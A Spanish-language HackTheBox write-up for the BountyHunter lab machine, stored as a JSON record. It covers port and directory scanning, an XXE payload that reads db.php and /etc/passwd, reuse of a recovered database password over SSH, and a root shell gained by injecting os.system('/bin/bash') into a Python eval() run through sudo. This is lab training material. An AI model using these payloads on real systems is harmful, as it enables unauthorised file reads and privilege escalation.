{"url":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520","machine":{"name":"BountyHunter","slug":"bountyhunter","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"facil","difficulty_label":"Fácil","operating_system":["Linux","Web"],"tags":["web","ssh","linux","privesc"],"original_url":"https://app.hackthebox.com/machines/BountyHunter"},"author":{"nickname":"juanluismm520","url":"https://www.writeups.es/u/juanluismm520","bio":null},"summary":null,"outline":[{"level":2,"title":"Resumen","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#resumen"},{"level":2,"title":"Reconocimiento","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#reconocimiento"},{"level":2,"title":"Enumeración","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#enumeracion"},{"level":2,"title":"Explotación","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#explotacion"},{"level":3,"title":"Acceso a usuario development","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#acceso-a-usuario-development"},{"level":2,"title":"Escalada de privilegios","anchor":"https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520#escalada-de-privilegios"}],"cves":[],"code_languages":["bash","http","xml","php","txt","python","exploit"],"stats":{"words":347,"reading_minutes":2,"votes":0},"content_markdown":"## Resumen\n\n<!-- 2-3 frases: qué vulnerabilidad da acceso y cómo se escala. Este bloque es\n     lo primero que lee cualquiera (y lo que citan los buscadores). -->\n\n## Reconocimiento\n\n```bash\nnmap $(target) -A -T5 -p- --min-rate 5000\n```\n\nPuertos abiertos:\n\n| Puerto | Servicio | Versión |\n|--------|----------|---------|\n| 22     | SSH      |   OpenSSH 8.2p1      |\n| 80     | HTTP     |   Apache httpd 2.4.41      |\n\n## Enumeración\n\n<!-- Qué encuentras en cada servicio y qué descartas. -->\n\n```bash\n╰─ gobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300 -x php,html,txt,bak,js \n===============================================================\nGobuster v3.8.2\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http://10.129.95.166/\n[+] Method:                  GET\n[+] Threads:                 300\n[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster/3.8.2\n[+] Extensions:              txt,bak,js,php,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nindex.php            (Status: 200) [Size: 25169]\nresources            (Status: 301) [Size: 318] [--> http://10.129.95.166/resources/]\nassets               (Status: 301) [Size: 315] [--> http://10.129.95.166/assets/]\nportal.php           (Status: 200) [Size: 125]\ncss                  (Status: 301) [Size: 312] [--> http://10.129.95.166/css/]\ndb.php               (Status: 200) [Size: 0]\njs                   (Status: 301) [Size: 311] [--> http://10.129.95.166/js/]\n```\n\nLo interesante se centra en `db.php` y `portal.php`. Entrando a db no encontramos nada, pero en portal tenemos una página que nos lleva a un formulario. \n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7ad532cb-0579-4e36-9b29-7f71d091ff11.webp)\n\n```http\nPOST /tracker_diRbPr00f314.php HTTP/1.1\nHost: 10.129.95.166\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 219\nOrigin: http://10.129.95.166\nConnection: keep-alive\nReferer: http://10.129.95.166/log_submit.php\nPriority: u=0\n\ndata=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5QcnVlYmE8L3RpdGxlPgoJCTxjd2U%2BMTA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjMwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D\n```\n\nEl param `data` es un base64 que podemos decodificar con burp\n\n```xml\n<?xml  version=\"1.0\" encoding=\"ISO-8859-1\"?>\n\t\t<bugreport>\n\t\t<title>Prueba</title>\n\t\t<cwe>10</cwe>\n\t\t<cvss>10</cvss>\n\t\t<reward>300</reward>\n\t\t</bugreport>\n```\n\nAhí manda lo que mandamos en el formulario. Bastante problable estamos ante algún tipo de `XXE`. \n\n## Explotación\n\nEstamos ante un `XXE`, una vez comprobado que podemos leer ficheros como `/etc/passwd` vamos a intentar leer el archivo `db.php` \n\n```xml\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE bugreport [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=db.php\"> ]>\n<bugreport>\n<title>&xxe;</title>\n<cwe>10</cwe>\n<cvss>10</cvss>\n<reward>300</reward>\n</bugreport>\n\n```\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/612bdd6d-7585-4253-ae40-8222d8d9aa41.webp)\n\nCodificado a base64 -> url encoded\n\n```php\n<?php\n// TODO -> Implement login system with the database.\n$dbserver = \"localhost\";\n$dbname = \"bounty\";\n$dbusername = \"admin\";\n$dbpassword = \"m19RoAU0hP41A1sTsq6K\";\n```\n\nPuesto que `/etc/passwd` es \n```txt\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nsshd:x:111:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\ndevelopment:x:1000:1000:Development:/home/development:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n```\n\nEl usuario es `development` y la flag por convención es `user.txt` o `flag.txt`\n\n### Acceso a usuario development\nTras haber probado a leer `/home/development/flag.txt` y `user.txt` y no dar resultado, me doy cuenta que realmente el estar con `www-data` hacía que no tuviera los permisos necesarios para ello. \n\nEra más simple que todo eso, intentar entrar por ssh usando la pass encontrada en `db.php`. \n\n```bash\nssh development@10.129.95.166\n# pass: m19RoAU0hP41A1sTsq6K\n# OK\n```\n\nAhora si leemos `user.flag` y un mensaje escrito en el directorio del usuario\n> [!SPOILER]\n> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/640bb7e6-28be-43f0-8c35-38c7faab2e26.webp)\n\n\n\n\n\n## Escalada de privilegios\n\nEjecutando `sudo -l` y habiendo leído el txt que dejó sabemos que hay un script que se podrá realizar alguna acción. \n\n```bash\nsudo -l\nUser development may run the following commands on bountyhunter:\n    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py\n```\n\nSi hacemos un cat a ese archivo vemos una linea interesante\n```python\nvalidationNumber = eval(x.replace(\"**\", \"\"))\n```\n\nLa función `eval` es vulnerable a injección de código. Así pues simplemente creando un markdown que cumpla las condiciones del script y solicitando `/bin/bash` obtendremos una bash como root. \n\n```exploit.md\n# Skytrain Inc\n## Ticket to Nowhere\n__Ticket Code:__\n**11 + __import__('os').system('/bin/bash')**\n```\n\nLas condiciones del script eran:\n- Archivo markdown\n- Comprueba que empieza con # Skytrain Inc\n- La segunda linea cotiene la frase ## Ticket to ...\n- La tercera linea tiene __Ticket Code:__\n- Y la cuarta debe empezar por ** y cumplir dos condiciones matemáticas:\n\n  - El primer número antes de un signo + (tras quitar los **) al dividirlo entre 7 debe dar residuo 4 (int(ticketCode) % 7 == 4). Por ejemplo, el número 11 o 18.\n  \n  - Evalúa toda la línea con la función eval(): si el resultado es mayor a 100, da el ticket por válido.\n\n Basta con ejecutar el comando `sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py` e indicar la ruta de `exploit.md` y ya obtendriamos una bash como root, consiguiendo así la flag.\n\n> [!SPOILER]\n> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9a803d39-41ae-4e83-8b93-3823f24cffc8.webp)\n\n","published_at":"2026-09-08T15:45:00.980331+00:00","updated_at":"2026-09-09T15:33:35.920566+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520"}